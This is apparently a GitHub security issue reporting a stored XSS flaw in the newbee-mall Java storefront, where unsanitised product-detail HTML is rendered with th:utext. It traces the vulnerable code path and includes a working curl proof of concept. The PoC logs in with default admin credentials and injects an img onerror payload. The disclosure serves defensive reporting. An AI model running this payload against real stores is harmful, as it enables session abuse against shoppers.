Skip to content

[Security] Stored XSS in Rich Text Content on the Traditional Product Detail Page #122

Description

@insung186

Summary

The traditional Spring MVC/Thymeleaf storefront pages of newbee-mall use th:utext on the product detail page to render the product detail field goodsDetailContent. This field can be written through the backend product editing function, and the backend does not securely sanitize the rich text HTML when saving it. As a result, event-based HTML payloads can be stored in the database and executed on the frontend product detail page.

Details

The vulnerability chain is centered on the product detail field goodsDetailContent.

The backend product editing page directly reads the rich text HTML and submits it to /admin/goods/update:

// newbee-mall/src/main/resources/static/admin/dist/js/newbee_mall_goods_edit.js:119, 246
var goodsDetailContent = editor.getHtml();
"goodsDetailContent": goodsDetailContent,

The backend controller only checks that this field is not empty (NewBeeMallGoodsController.java:175-190). When updating a product, the service layer only sanitizes the name, introduction, and tag, but does not process the detail HTML:

// newbee-mall/src/main/java/ltd/newbee/mall/service/impl/NewBeeMallGoodsServiceImpl.java:90-94
goods.setGoodsName(NewBeeMallUtils.cleanString(goods.getGoodsName()));
goods.setGoodsIntro(NewBeeMallUtils.cleanString(goods.getGoodsIntro()));
goods.setTag(NewBeeMallUtils.cleanString(goods.getTag()));

The setter of goodsDetailContent only performs trim() (NewBeeMallGoods.java:174-175), after which MyBatis writes it as-is into goods_detail_content (NewBeeMallGoodsMapper.xml:350-351).

The frontend /goods/detail/{goodsId} places the product detail content into the template (GoodsController.java:74-87), and detail.html uses th:utext to output it without escaping:

<!-- newbee-mall/src/main/resources/templates/mall/detail.html:63 -->
<div class="goods mt20 w clearfix" th:utext="${goodsDetail.goodsDetailContent}">
</div>

Therefore, event-based HTML written into the product detail content will be executed when a user visits the product detail page. This is a stored XSS vulnerability.

POC

This vulnerability exists in the traditional Spring Boot/Thymeleaf pages and requires direct access to the backend container:

docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' newbee-mall_vul_0002_1-backend-1
# In this test: http://172.16.19.3:28089

BACKEND=http://172.16.19.3:28089
ID=10906
PAYLOAD='<img src=x onerror="alert(`Stored XSS @ ${location.host}`)">'

curl --noproxy '*' -sS -c /tmp/newbee_admin.cookies \
  -H 'Content-Type: application/json' \
  -d '{"userName":"admin","passwordMd5":"123456"}' \
  "$BACKEND/manage-api/v1/adminUser/login"

curl --noproxy '*' -sS -b /tmp/newbee_admin.cookies \
  "$BACKEND/admin/goods/info/$ID" > /tmp/newbee_goods_backup.json

jq --arg payload "$PAYLOAD" '.data | {
  goodsId, goodsName, goodsIntro, goodsCategoryId, goodsCoverImg, goodsCarousel,
  originalPrice, sellingPrice, stockNum, tag, goodsSellStatus,
  goodsDetailContent: $payload
}' /tmp/newbee_goods_backup.json > /tmp/newbee_goods_xss.json

curl --noproxy '*' -sS -b /tmp/newbee_admin.cookies \
  -H 'Content-Type: application/json' \
  -X POST --data-binary @/tmp/newbee_goods_xss.json \
  "$BACKEND/admin/goods/update"

curl --noproxy '*' -sS "$BACKEND/goods/detail/$ID" | rg 'Stored XSS|goods mt20|onerror'

As shown below:

Image

Next, visit http://127.0.0.1:28089/goods/detail/10906 from the frontend. After the page loads the product detail content, it triggers alert('Stored XSS @ '+location.host).

Image

Impact

This script can use the user’s current browser session to send same-origin requests, such as calling /shop-cart to manipulate the shopping cart, accessing the personal center page, or modifying shipping information. The script will also execute when an unauthenticated user visits the product detail page, but its exploitable capability is limited by the unauthenticated state.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions